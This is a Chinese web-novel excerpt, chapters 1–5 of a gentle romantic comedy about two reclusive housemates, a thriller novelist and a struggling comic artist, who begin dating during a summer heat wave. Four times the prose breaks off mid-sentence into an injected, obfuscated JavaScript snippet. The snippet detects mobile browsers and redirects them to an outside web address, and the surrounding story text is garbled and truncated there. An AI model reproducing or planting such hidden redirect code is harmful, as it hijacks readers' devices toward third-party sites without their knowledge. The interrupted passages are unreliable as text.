《小蝴蝶狂想曲》 1. 第1章 郑好和男朋友同居了。 更准确地说,是跟合租室友恋爱了。 恋爱一星期,生活好像没什么太大的变化。 水池里堆着的碗从一只变成两只。 沙发上的脏衣服从堆满半边变成整个大覆盖。 阳台上晒了一周的衣服遮天蔽日完全挡住日光。 在房间里上蹿下跳随时准备谋杀铲屎官的猫变做了两只。 郑好躺在沙发下面的剑麻地毯上刷手机,得出结论:生活没什么太大的变化。 脑袋下的胸膛忽然用力起伏了下。 郑好手指一顿,若无其事地滑开下一个无营养的小视频。 “唉。”有人无声长叹了一口气。 这就不好无视了。 郑好歪头,对上男人偏狭长的眼:“怎么了。” 男人同样双手摊开躺在地毯上,淡色的唇微抿,散发出不愉快的气息:“烦。” 郑好:“别烦。” “你好敷衍。” “嗯哼。” “……” 李遇安静了一会儿,右手搭着她的脑袋,顺着她还算柔软的长发有一下没一下地梳着。 忽然,他说:“郑好,接个吻吗?” 郑好仰起头,视线落在他唇上,好像在思考。 李遇也不催,手指捻着头发丝轻轻地搓,等着她回答。 郑好:“我没和人接吻过,你呢?” 李遇垂着眼,表情淡淡:“没。” “既然都是初吻,是不是应该有点仪式感?” 郑好手指不停,搜索接吻前的准备工作,“首先得刷牙保持口气清新、漱口水必不可少、吃一颗糖果或者冰块、啊女生还得在耳朵后边抹点香水……” 李遇打断她:“不接了。” 郑好点头:“下次。” 窗外知了孜孜不倦地嘶喊,热气顺着蝉鸣爬上十九楼,从落地窗的缝隙里钻进来。 后颈相贴的地方出了一层薄汗。 郑好曲起腿往下挪了挪,离开男人的体温范围,躺平在剑麻毯上。 微刺、闷热。手机也刷不下去了。 她呈大字型摊开手脚,脚脖子伸出地毯范围,贴在冰冷的瓷砖上,有一点舒服。 她闭上眼,有气无力:“四十三度,地球已经不适合人类生存了。” 李遇侧过身,微微蜷起,两人拼出一个歪歪扭扭的T形。 “我买个冰柜给你住。” “真的?” “假的。” 没营养的对话进行两个来回,两人体能耗尽,默契地收声安静下来。 五分钟后,郑好手里的板砖咣铛脱手掉在地板上,她闭着眼沉入梦乡,两条腿已经顺着瓷砖呲溜出去半米,就剩上半身还勉强躺在地毯上。 李遇垂眼,看了看两人之间的距离,伸手抓过遥控板。 郑好这人有时候就挺固执,她的房间空调一定不低于27度,偶尔外面温度高了还开28度,据说越接近室外温度越健康——作息昼夜颠倒的人有个屁的健康。 还没在一起的时候,李遇好几次撞见她蹲在厨房开着冰箱冷冻层,半个脑袋都塞在里面。听见声音,她若无其事地抬起头顺手从里面捞出一支冰棍,神色从容地冲他点头示意,关上冰箱又回房了。 李遇倒了杯冰水,路过她门前停了几秒,门下缝隙不小,一点渗出来的冷风都没有。 去年整个夏天,每当郑好的房间长时间听不见动静,李遇就忍不住怀疑,她会不会已经热到中暑死在里面了。 感谢郑好顽强的生命力,让李遇在二十六岁这年成功脱单有了女朋友。 滴。滴。 空调温度降至二十六。 李遇想了想,再调低一度。 空调的功能并没有因为它主人吝于使用而受到损坏,不一会儿,房间里的热气一扫而空,连带着那股烦躁也消退了许多。 郑好还睡着,身体已经敏锐感知到冷意,两条腿缩回来,背脊拱啊拱,又躺回李遇身边。 就连两个小家伙都从阴凉的床底爬了出来,一猫一个角落蜷在地毯上。 李遇拉过绒毯把两人盖住,左手曲着垫在脑后,右手抬了抬,略一迟疑,心想抱一下总不用沐浴焚香搞个什么仪式感,念头只是一扫而过,手掌已经落在她的腰上。 肉肉的,好软。 李遇喉结滚了滚,垂下头,脑袋抵着她的后颈,就这样睡了过去。 ***** 作为一个无业游民,郑好的作息无疑是紊乱的,每天睡到十点钟,起来喂个猫,在房间里晃荡个几圈就到中午了。 吃过外卖,郑好又困了,上百度搜了一下,这叫晕碳,是病。 那就放心了,她一头栽倒在床上,一觉睡到天黑。 合租一年,她昼伏夜出的作息从来没收到室友投诉,也从没在社畜朝九晚六的时间内被打扰。 很久以后当她半夜一点裹着羽绒服在电梯门口遇见同样等外卖的李遇,她终于明白,是同道中人。 …… 闷热无休止的夏天只有在傍晚才留下礼物表达歉意。 郑好睡醒时,一眼越过男人的肩膀看见窗外绚烂的晚霞。 云层错落斑驳,被丢进这个火热的燃烧着的天边,一片片云也被点燃,烧成熔化的黄金、剔透的琥珀、橙红的颜料盘。 郑好在这片转瞬即逝的霞光中整理思绪,发现自己躺在李遇怀里,竟然也不嫌热…… 她脑子一个卡顿,唰地转头去看空调。 二十四度。 二十四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15140003|164480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 度? 二十四度!!! 她一个滑铲扑过去抓住遥控板,升温升温升温关机一气呵成。 李遇早在她扑棱蛾子一样乱动的时候就醒了,撑着上半身坐起来,随手抓了把头发。 小腿被踹了一脚,他瞥一眼空调,先发制人:“你是不是打算热死我然后继承我的房子?” 郑好:“就算你死了也轮不到我继承。” “所以你先努力拿到继承权再考虑谋杀的事。” 他从地上站起来,高大的身形瞬间挡住窗外已经变得暗淡的天光。 李遇从地上拎起自己的那只山猫纹布偶猫,打着哈欠往自己房间走:“收拾一下出去吃饭。” “奥。” ****** 严格说起来,这是两人第一次出门约会。 郑好在盛装打扮和心机裸妆之间,选择洗一个头发以表尊敬。 顶着发尾湿漉的头发出门,李遇已经收拾好坐在客厅沙发上等着了。 四目相对,两人看着对方冒着水汽的发尾、素面朝天的脸,以及休闲黑T、牛仔裤的装扮,同时松了一口气。 “走吧。”李遇拎着钥匙站起来。 郑好跟在他身后,从料理台经过时,看见水池已经空了:“你洗碗了。” “明天没碗装泡面了。” “我们换桶装的吧,还不用刷锅。” 李遇拒绝:“没煮过的泡面难吃。”从某些方面来说,李遇也有一些没必要的固执。 郑好站在玄关给手臂抹防晒,挤得有点多,往他手臂蹭了点:“抹抹。” 李遇垂眸,看着黄豆那么丁点大的防晒霜:“抹哪里?给我的指甲盖防晒吗?” “……”郑好捏着小小一瓶的防晒霜,又看看他两只长手臂,“算了,你撑伞吧。” 李遇露出一言难尽的表情:“你好抠。” “这是我身上所剩不多的美德了。” 涂抹完毕,见他没动,顺手伸过去给他抹了两下:“你白,晒一会没事。” 说完越过他要去穿鞋。 李遇抓住她的手,忽然倾身在她唇上碰了碰。 柔软的、温热的,一触即离。 发生得太快,郑好甚至都来不及害羞。 反应过来,第一时间谴责他:“我都没准备好。” 李遇直起腰,理直气壮:“所以我没伸舌头。” “……” 僵持两秒,李遇面无表情让步:“那你就当被路西法舔了一口好了。” 路西法是他的布偶好大儿,楼上楼下两个房间因为主人的友好交际开放了互通权限后,它已经连续三天睡在郑好房里了。 郑好抿唇,同意了:“好吧。至少你不舔xx。” “……” 2. 第2章 第一次约会,郑好跟李遇都没有盛装出席,两个人素面朝天踩着半旧帆布鞋坐在商场负一楼嗦粉。 嗦粉不是最重要的,重要的是冷气,以及便宜——此处实名表扬慷慨给她加了卤蛋火腿的男朋友。 因为最后她真的只吃了卤蛋跟火腿。 结账离开店铺,郑好吐槽:“我从来没吃过这么难吃的粉。” 李遇:“话别说太早。” “?” 李遇:“下次我煮你就知道了。” 郑好不太信,他一个能把方便面煮出手擀面劲道的人,会煮不好螺蛳粉吗? 李遇说:“以前试过,没成功。” 脑子里闪过什么,郑好忽然停下脚步,在对方疑惑的目光中用试探的语气问:“去年九月?在楼上阳台煮的?” 李遇也沉默了,垂眸看她:“原来是你跟物业举报我泼粪水。” “……” 这件事说起来还曾经轰动小区。 故事发生在一个月黑风高的凌晨,夜猫子郑好饿着肚子在房间里点外卖,忽然听见一阵细微的动静,很快,一股浓烈的难以言喻的臭味顺着半开的阳台窗飘进来。 她拉开窗帘贴着玻璃看了一眼,阳台靠外的边缘似乎有可疑的发光水渍,她不敢出去查看。 第一反应是哪个无良家长把孩子的排泄物随意泼倒,简直丧心病狂——小区绿化跟景观都不错,她偶尔会搭着藤椅在阳台上发呆。 郑好属于三次元唯唯诺诺、线上重拳出击的赛博悍匪,更何况她差一点就迎面接上这东西,当即打开业主群匿名发言:【哪个没素质的在阳台泼粪水???】 凌晨两点,活着的人都没醒。 而醒着的,随着某不知名悍匪持续十分钟的愤怒刷屏,情愿自己死了。 时至今日新人入住本小区还会被叮嘱一句:我们小区有个泼粪变态,不知道搬走没,你要小心。 …… 郑好沉默良久:“不怪我,真的很臭。” 李遇嗯了一声,说:“那包螺蛳粉好像过期的。” “……” 大家活这么大都挺不容易。 时间还早,室外依旧像蒸笼似的热气腾腾。 认真恋爱的第一天,两人默契地发现年轻情侣的日常好像不适合他们:郑好不爱逛街购物,李遇对于数码游戏敬谢不敏。 十分钟后,清心寡欲的老年恋爱选手在五楼室内儿童乐园找到了归属。 他俩坐在家长等候区,手里各托着一杯奶茶,看着池子里上蹿下跳的小孩发呆。 郑好说:“等我老了就在这里办托儿所,专门帮人看小孩。” 海洋池里球体摩擦碰撞的声音沙沙地,她很喜欢,曾经在海洋池一坐就是一整天。 李遇问:“你喜欢小孩?” 郑好摇头:“我没有弟妹,一直对揍小孩很向往。” “揍自家熊孩子没人管,别人家的不行。” 郑好一想也是。熊孩子要是不能揍,天天看着多闹心啊。 她马上转换人生终极目标,改口:“那我还是去跳广场舞吧,运气好还能当个领舞。” 也算圆了小时候的女团梦了。 李遇的眼前有了画面,六十岁小老太动作慢半拍地跳女团舞。 郑好问他:“你呢?老了以后去做什么?” 李遇答得理所当然:“那我不得给你扛音响吗?” 显然没预料到这个答案,郑好愣了愣:“哦。” 她转过头继续盯着小孩玩滑梯,目光专注得像安全监管员。 直到第三个小孩从滑梯滑下来,她才说:“我这么有素质,肯定戴蓝牙耳机跳。” 李遇笑了,学她哦了一声。 郑好宅了许多年,为了避免变成不见天日的老古董小邋遢,她给自己制定了许多自律指标。 例如一周至少进行一次大扫除,不能超过三天不洗头,以及每天出门两个小时、步行半小时等等。 搁在以前,她会捧着一杯奶茶坐在这里发呆,直到闹钟响起如蒙大赦滚回家去。 今天旁边多了一个人,时间变得飞快,她们甚至没有讨论好老年广场舞的歌单,时间就到了。 正准备起身回家,身边不远处坐着的一位大姐见他俩安静下来,过来搭话:“里头哪个是你们家小孩啊?” 郑好线下总是慢半拍,还没反应过来,李遇伸长手臂随手往海洋池里一指:“穿背带裤那个。” 那是个五六岁扎俩羊角辫的小孩,李遇觉得她长得有点像郑好,观察好一会儿了。 大姐也发现了,点点头:“跟她妈一样漂亮。” 郑好:“……” 大姐很八卦,凑过来问东问西,李遇倒是有问必答,可惜是已读乱回。 没两分钟,他俩变成了一个苦寻孩子多年却怕打扰孩子、只敢在远处偷偷关心女儿的苦情夫妻。 他面部表情不算丰富,说话的时候淡定又从容,哪怕在说一些匪夷所思的事也莫名就很让人信服。 郑好听得入迷,心想不愧是悬疑小说作家,寥寥几句就把剧本悲情的氛围定下来了,她好像在追现场连载似的。 大姐也没想到随口的搭讪换来一天的沉默。 她脸上的表情就在震惊-怀疑-选择相信-但是真的好离谱之间频繁切换。直到李遇的故事戛然而止,带着郑好离开,她手里的幼儿教育传单愣是没递出去。 郑好坐上车,系好安全带,好奇地问他故事后续。 李遇耸肩:“谁知道。” “……最烦你们开坑不填的人。” 车子从地下车库开出,刚汇入车流就堵住了。 李遇目光落在红绿灯上,左手把着方向盘,手指轻敲盘面,忽然说:“下一本我写个甜文?” “?” ***** 拥有郑好同款美国作息的李遇是个作家,据他自己所说,就是个破码字的。 郑好还记得他掉马的那天,她刚刚完成当日运动指标,面如菜色站在一楼等电梯。 电梯从地下室上来,厢门打开,快递员抓着推车站在里面,四个巨大纸箱几乎塞满了整个电梯。 他徒劳地挪动了两公分,抱歉地说:“要不你站我推车上?” 郑好拒绝了。 五分钟后坐下一班电梯上楼。 房门打开,刚才电梯里的那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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挂上电话,李遇才看见客厅里站着个人,右脚悬空了两秒,若无其事踩上楼梯底的地毯,顶着鸡窝头淡淡打了声招呼:“早。” 郑好同样很淡定,回他:“早。” ——晚上八点半,两只夜猫子在客厅相遇,互道早安,然后各自回房。 虽然大神光环破损,郑好依旧默默追由缰大大的小说。 他最近连载的故事讲述了某市不同地区在同一天发生了三起凶杀案,凶器被证实是同一把匕首,然而嫌疑人分别是三个毫不相干的高中生。 小说刚开坑不到一个月,郑好每天混在嗷嗷待哺的粉丝群里喊”饿饿饭饭”。 结果这个人一扭头,说要转换赛道写小甜文。 作为粉丝,郑好想要一筷子戳死他。 作为女朋友,郑好……郑好有点好奇。 “你准备写什么?” 李遇捧着电脑神神秘秘地:“到时候你就知道了。” 郑好:“到时候是什么时候?我死之前吗?” 回复她的是暴力敲击键盘的声音。 3. 第3章 李遇住的上层全部打通,一米八大床靠墙摆放,床上地下乱糟糟地丢着书本衣物。 郑好抱着平板多看了两眼,李遇面不改色地走过去拉上了薄薄的纱帘。 郑好跟在他后面,说:“我不会歧视你的。” 李遇斜来一眼:“你凭什么歧视我?凭你建成山头的沙发吗?” “……” 进到他工作的区域,第一眼看见满墙的书。和匆匆一瞥的卧室比,这里明显整洁许多,摊开的参考资料摆在一个角落,夹着手写的书稿批注。 被他摁在桌前坐下,郑好不由期待,或许她今晚能沾一沾大神的灵气,也画个一鸣惊人的更新。 如果说李遇是个“破码字的”,那郑好就是不加引号货真价实破画画的。 她原本是个籍籍无名的插画师,凭借热爱在温饱线上挣扎,几个月前不顾画友的劝告尝试连载漫画,成绩斐然,现在是一名查无此人的漫画家。 同是行业小透明的画友看过她的漫画,诚实说:“你画得挺好的,但题材不行,剧情线好模糊,我看到现在也不知道这是什么故事。”最后委婉地劝告她回归正道。 郑好觉得无所谓,梵高死之前也卖不出画。 她打开软件,略思索片刻,开始画今天的更新。 桌子让给了她,李遇自己抱着笔记本蹲在单人沙发里,刚开始还有一点敲击键盘的声音,渐渐声音小了,也慢了,最后归于安静。 一旦沉浸入自己的世界,郑好就无比专注。 兴许真的沾了大神的灵气,今晚的更新顺畅许多,点下上传按钮,扶着脖子坐起来,时间已到凌晨。 房间里很安静,两只猫趴在角落里窸窸窣窣地互相舔毛一副哥俩好的样子。 她转头,看见李遇盘腿坐在小沙发里,电脑早就扔到一边,抱着平板往下滑。从她的位置能看见四分之一个屏幕,马上认出是自己的漫画。他神情专注,每个分镜都看得极慢。 到了原本的最后一话,手指下意识往下一划,页面加载两秒,跳出新的内容。 李遇于是抬起头,看见她趴在桌面上,脸向这边侧着不知看了多久:“画完了?” 郑好点点头:“你怎么看上了?” “好奇。” “是不是很无聊?” 她的漫画实在无人问津,偶尔冒出来的几条评论也表示鸡零狗碎没什么意思,画了几个月,至今收到的稿费还不够商场里买两件衣服,迫不得已身兼两职回头画插画了。 李遇抬头看了她一眼,却说:“不会,很有意思。” “嗯?”郑好没明白,离开椅子凑过去。 李遇却不说话。 看到今晚更新的一群小老太跳广场舞的画面,他终于确认,这些天马行空的零散的画,大概姑且可以算作她的脑内日记。 漫画始于乔迁新居,第一页画的是黑漆漆的房间里蛰伏的一只利爪凶兽。 李遇想了想,一年前她刚入住的时候路西法正值发情期,每天夜里躲在角落划拉地板,嘎吱嘎吱搅得人不安宁。 楼下新室友入住三天,委婉发来了消息,没熬到周末,他带着好大儿去医院割了蛋,终于清净。 这会儿看到画后知后觉,原来那几晚她不明就里,在楼下吓得不清,要是他没有当机立断给路西法割蛋,恐怕早把人吓跑了。 她的漫画日记从第一天起就有他的参与。 这样想着,唇角略微牵动,垂眸看见郑好趴在扶手上也看着平板,在等他的解释。 李遇随手熄了屏幕,开口却是另一件事:“你当初怎么敢跟男生合租的?” 他在漫画前期一直是狰狞魁梧、冷脸阴沉地笼罩在黑雾里的形象,想来创作者对他的种种负面猜测不少。 原来她也知道怕的。 郑好一顿,说:“我来看房的时候,是一个小姐姐招待我。” 上一任租客是个男生,因为工作变动急着转租离开,这个小区租金不菲本来就难找租客,好不容易等来郑好,听她问起楼上合租的室友情况,脑筋一转,编造出一个温柔安静爱下厨的女生形象,甚至找了朋友当托。 等郑好发现不对劲,已经签好合同住下半个月了。 发现真相的那天十分乌龙。 她难得早睡,第二天踏着晨光醒来,简单洗了个澡,跑到公共厨房泡咖啡——同住的小姐姐很大方,在发现她也常喝咖啡后直接买了大罐咖啡粉和她共享。 压上粉等待研磨的时间里,楼梯上无声跳下来一只大型布偶,深色山猫花纹,神态倨傲,在她的房门口嗅了嗅,竖起蓬松大尾巴向她走来。 楼上的室友不常出现,她的猫倒是四处乱窜,已经和郑好打通了关系,偶尔靠撒娇卖萌得到一顿额外的投喂。 郑好抱起猫揉,心想,总是偷偷撸人家的猫也不好,或许她也该去养一只。 正发呆,楼梯传来脚步声,声音很轻,慢吞吞的。 入住后第一次见到合租室友,郑好下意识坐直一些,低头看到怀里抱着的布偶,有点心虚,俯身给它放到了地上。 布偶正享受着,翘着尾巴在她腿边蹭来蹭去。 郑好低头拨了拨,起身时楼上的人已经下来了,一道高大的身影从墙后绕过来,乍一看见她,显然一愣。 郑好毫无防备看到一个刚洗完澡发尾湿润的男生,也呆住了。 隔着半个客厅,两人沉默地互相打量半分钟。 最后是男生先收回目光,抿着唇走过来。 男生衣领敞开,露出一截锁骨,发尾的水珠往下滴在皮肤上。郑好避开视线,心里有了猜测,应该是室友小姐姐带了男朋友回来。 她不大痛快,却想起入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15140005|164480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住时忘记就男友留宿的事达成共识,失策了。 见他熟门熟路地打开冰箱,找来一只陶瓷杯倒水喝,这种不适感更甚,虽然用的不是她的杯子。 那头咖啡机已经萃取完毕,机器停止轰鸣,男生转头,目光停了两秒。 到底自己是蹭咖啡的人,郑好虽然心里不欢迎他,此时也只好弱弱解释一句:“她说我可以一起用。” 早知道就不该把小姐姐手写的那张允许使用的字条拿掉。 男生垂着眼,看起来也不大高兴,半晌才从喉咙里嗯了一声,拿着杯子就走了。路过餐桌瞥见还在那撒娇的布偶,抬起腿压着它往楼梯去。 走了两步他又停下来,问:“你男朋友呢?” 郑好一头雾水,第一次见面的合租室友的男友打听自己有没有男朋友,这合理吗? 不合理,而且显得图谋不轨。 郑好抿唇,说:“有的。” “……” 男生瞥她一眼,低着气压留下一句“下不为例”,拎起布偶猫上楼了。 郑好感到莫名其妙,目光落在磨好的半杯咖啡上,没了冲奶泡的心情,端起杯子一饮而尽。 不用就不用。 之后一整天,郑好都留意着门外的动静,打算等小姐姐回来好好聊聊。 一等就到了晚上。 因为心情不好,郑好今天的出门指标暂且搁置,就坐在靠近门边的沙发上画画,也是心不在焉。 九点,房门被敲响。打开门又是那个男生。 他竟然还在。 四目相对,双方脸色都不佳。 男生的目光越过她往里,郑好警惕地合上门缝:“有事吗?” “我找你男朋友。” 郑好:“……他在洗澡,你有什么事?” 男生默了两秒:“这件事跟他谈比较好。”说着转身到客厅,在沙发上坐下,正对着房门,“我在这里等。” “……” 郑好想报警。 很难讲是谁先察觉出不对劲。 李遇在客厅坐了两分钟,听见一些故意弄出来的搬动桌椅的杂音——房间隔音很好,除了对方恶意宣泄不满,不做他想。 李遇无所谓,也并不准备让步,垂眸随手滑两下手机,忽而一顿。 刚刚她开门的时候,房间里没有水声。无意投进去的目光里,床头一只巨大的鲨鱼抱枕。整个房间的布局都不同了。 “……” 正这样想着,房门咔哒一声打开一条缝。 郑好露出半张脸,看了他半天,说:“我是从一个男生那里转租来的。楼上……你女朋友……” 李遇也想明白了,面无表情站起来:“我是楼上的住客。” 郑好:“……” 李遇:“……” 好一场乌龙。 4. 第4章 因为第一次见面闹的误会,之后很长一段时间里郑好对他的印象都不好,总觉得是一个包藏祸心且名草有主的坏蛋。 debuff叠满。 凌晨两点了,郑好打了个哈欠,抱着平板站起来:“我回去睡了。” 李遇在键盘上敲敲打打,闻言嗯了一声,随手拨了拨腿边的布偶:“送送。” 路西法爬起来伸一个懒腰,挨着她下楼睡觉去了。 出去前,郑好飞快在他电脑上瞥了眼,捕捉到类似“血肉模糊”、“残肢”之类的字眼,心里稍安:除非李遇对小甜文有不一样的见解,今晚大概率有更新的。 她说:“别太晚,早点休息。” 李遇:“嗯,再半小时。” 回到房间,郑好换上睡衣躺在床上,随手把空调又往上调了一度,打开手机里的某个粉丝群。 看小说的人十之八九是熬夜惯犯,这个点群里还活跃着,正在向满天神佛许愿。 郑好潜伏着看他们分析前文伏笔,不知不觉半个小时就过去了。 群里炸开锅:【熬夜党的胜利!】 郑好退出去看完了今晚的万字大肥章,熟悉的惊悚感,凉凉地很安心。 她丢开手机,心满意足地睡了。 第二天是周末,郑好的自律指标里非常重要的一项安排——大扫除。 李遇也加入了。 一个在楼上,一个在楼下,乒乒乓乓热火朝天地。 郑好做事不持久,刚把地面拖了一遍,转身晾拖把的功夫人又栽进沙发里,刷二十分钟手机,再次艰难地起身整理桌面。整理完一个角落的素材书,自觉已经完成了一件大事,再次倒了回去。 等李遇结束下来找她,郑好磨磨蹭蹭才进行了一半。 她清理了浴室台面,挤出洗手液把手洗干净,抬眼就从镜子里看到李遇抱胸靠在门边,懒散困倦,目光从镜子里来,和她的交汇在一起。 郑好眨眨眼:“你怎么这么快?” 李遇:“这么点地方,两个小时还不够吗?” 郑好转头去看各个角落的遗留任务,远远不够的。 “你帮我。” 脏衣服已经清理出去,李遇终于见到沙发全貌,抄起苔藓绿的抱枕就软骨病似的倒了下去:“不要。” 郑好踩着拖鞋走过去,满是水珠的手朝他甩了两下:“帮帮忙。” 李遇抱着枕头翻身,面朝沙发背,闭上眼哼哼唧唧,装死了。 阳台的洗衣机停止转动,郑好举着衣叉把上周的衣服收回来丢在床上,再回收衣架去晾新的。 李遇不知道什么时候又转了回来,掀开眼皮安静看着她。 衣叉略短,她晒衣服的时候手臂高举,衣摆就耸上去,露出小半截白皙的腰。 阳台和室内温差很大,热气迎面罩过来,她的脸颊很快就泛着红。 把最后一件T恤挂上去,她又收回几件被推挤到角落的内衣,逃回空调房里,一转身又对上李遇幽深的目光,不由一顿,右手收紧,缓缓、缓缓地把内衣藏到身后去。 “睡你的觉!” 李遇唇角翘起,拿着抱枕盖住了脸。 天气实在酷热,等阳台的最后一角焕然一新,郑好背上深深浅浅都是汗。 洗过澡出来,空调又被某人调低,冷风环抱,她决定暂且享受着。 圆形小桌上摆了外卖,李遇坐在地上撑着头玩手机,见她出来,开始拆保温锡纸:“吃饭。” 郑好问:“怎么不吃泡面了?” 李遇:“这个月的垃圾食品份额用完了。” 郑好:“你还有这样的规划。” 跟她的自律指标有异曲同工之妙,两个人虽然宅,但很努力地避免走向肥宅。 饭菜很合胃口,郑好难得把米饭也吃完,抱着肚子靠在沙发上不能动弹了。 李遇出一趟门丢垃圾,回来跟她一起瘫着。 郑好在研究本周气温,温度居高不下,几乎要创下十年内新高。 她恨不得一天洗八百次澡。 “地球也许要爆炸了。”郑好又开始畅想末日,红巨星、中子星、坍缩、黑洞,宇宙在她脑海里经历了一道轮回。 “啪。” 一根冰棍贴脸冰得她瑟缩一下。 李遇打断她的宇宙大爆炸:“等等再炸,冰箱的存货还没吃完。” “好吧。” 郑好不爱吃甜腻腻的冰淇淋,冰箱里囤了许多老冰棍,糖水冻起来的,咬在嘴里脆脆的,凉到心里去。 李遇咬着绿豆棒冰,余光瞥见她被冻得微红的唇,不由顿了顿。 郑好三两下就把棒冰吃完了,举着棍子递给路西法,布偶鼻子翕乎,欢快地舔起来。 郑好笑着说:“它怎么什么都爱吃。” 李遇垂下眼,嗯了声。 休息了一会儿,李遇的手机响了,看到来电显示,罕见地露出一个痛苦的微表情。 郑好有几分好奇,直到铃声响了半分钟,他才慢吞吞接通了电话。 那端传来中气十足的男人的声音:“你小子最近死哪里去了!” “在家。” “……” “不去。” “……” “晚点去。” “……” “……知道了。” 通话很快就结束了。 李遇瘫在沙发上,郑好莫名读出生无可恋几个字。 “怎么了?” 李遇有气无力:“健身教练。” 郑好惊讶:“你健身?” 大概是她的语气太过不可思议,李遇睁开眼缓缓坐起来:“什么意思?我看起来不像健身的人吗?” 郑好的目光在他上身转了圈,摇头:“不是很像。” 他虽然不瘦弱,但平时困顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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十二分钟后,郑好连滚带爬从跑步机下来,离预设时间还差八分钟,李遇高估她了。 双手颤抖拧开瓶盖喝了水,呼吸平复下来,她坐在闲置的跑步机上,光明正大看李遇练器材。 他今天穿了深灰无袖背心跟黑色宽松运动裤,已经开始出汗,肌肉充血撑起衣服,衣料下的身体线条流畅起伏,宽肩窄腰,很匀称好看的薄肌。 汗珠顺着下巴滑进领口,手臂抬举之间能看清腹部紧实的肌肉纹理,深深浅浅,大约是六块。 再往下就看不得了,郑好旋着瓶盖,目光自下而上原路返回,被他逮个正着,下意识就拧过头去,举着水瓶咕噜灌了两口。 健身房的热气又蒸腾到脸上,她扇了扇风,有点热。 这股热气直到离开健身房才缓缓散去。 郑好瞥一眼驾驶座的人,他已经换了宽松的T恤,懒懒地歪在座椅上拨出风口,清瘦修长,莫名营造出一种她能一拳两个的错觉。 她盯着他T恤下的手臂,没忍住,上手捏了捏。 硬邦邦的。 李遇默不作声跟她对视。 郑好说:”你别绷着。” 李遇:“谁绷了。” 5. 第5章 那天的万字大肥章美好得像是一场梦,李遇又恢复了隔日更新的频率。 工作少了,他就闲得要命,再加上两个人不用刻意避开碰面,他开始泡在公共厨房里研究厨艺。 郑好打着哈欠推门出来,在冰箱里捞了瓶冰饮,坐在沙发上看他忙活。 第一天试水,他挑了几个懒人食谱,做起来有模有样。 没戴围裙,T恤衫袖子卷到肩头,深藏不露的手臂线条明晃晃地袒露在外——自从上回被郑好质疑他的健身成果,他三不五时就要显摆一下,闷骚得很。 扔进最后调味的小米辣,他盖上锅盖最后焖煮两分钟,扭头看见郑好咕咕喝冰水,眉头皱起:“你尊重一下我的劳动成果。” 郑好说:“热。” 说完见他的后背衣服汗涔涔地,站起来从冰箱里另外捞了瓶冰水递给他:“你也喝。” 据说夏日饮冰水是养生大忌,不过两个人都讲究一个及时行乐,顶多保温杯里装可乐,偶尔赛博养生罢了。 李遇没接,拿起她另一只手上喝了大半的瓶子仰头咕噜咕噜喝完了。 突起的喉结在脖颈上滚动。 郑好咽了咽喉,觉得今天更闷热了。 喝完水,李遇把空瓶一丢,完好的那瓶原样塞回冰箱,面色如常转身关火。 两人都很懒惰,碗少洗一个是一个。 连锅端上桌垫,热气腾腾的日本豆腐煲,色香八分,味道待定,看样子也不会差。 郑好舀了一块豆腐,酥脆的外皮裹满了浓稠汤汁,咬下一口,软嫩入味。 她被烫得说不出话,竖起拇指表达自己的惊艳。 李遇唇角翘起,递米饭给她。 说不上天纵奇才,但李遇在做饭这事上确实有两把刷子。 周边的外卖来来去去早吃腻了,既然有免费的午餐,郑好十分乐意接受,这一餐刚吃完已经划拉着手机开始收集菜谱。 于是粉丝群的读者朋友们嗷嗷待哺苦等更新时,作者大大抄着袖子在用裱花袋做酒酿肉。 如是过去两天,郑好过意不去了,另一方面也是书瘾发作,旁敲侧击问他:“你最近这么闲,不更新吗?” 李遇垂着眼看锅里收汁:“没有灵感。” 原来是这样。 同为创作者,郑好是理解他的,但是作为书粉,这种行为简直令人发指。 她说:“灵感只是锦上添花,笔耕不辍才是写作长青的奥义。” 李遇看她一眼:“哦。” 竖子顽固。 郑好又劝他:“或许你可以出门走走,上法院旁听凶杀案审理、上电影院看惊悚大片,或者组局玩两把剧本杀。” 李遇:“你跟我一起?” 郑好闭上嘴。 “我不行,我会化掉。” 此话题不了了之。 当晚郑好抱着手机等来短得可怜的更新,恨不得抓起键盘自己写。 在群里跟着挠心挠肺时,房门轻轻被敲了两下。 郑好下意识锁上手机,在黑暗中侧耳等了等。 “咚咚。” 确实有人敲门。 她拧开床头灯下床开门,李遇穿着黑色睡衣站在门外,没等她发问,双手伸出,握拳朝下,问她:“左手还是右手?” 郑好还懵着,下意识答:“右手。” 李遇翻转手臂摊开掌心,是一片叶子。 “什么意思?” 李遇:“太热了,去山里避暑,顺便找灵感。” “哦。”郑好又去掰他的左手,只见左手掌心里躺着一个小小的粉色贝壳。 她眨眨眼,立马握住他的左手:“我要去海边!” 李遇像是笑了声:“嗯。” 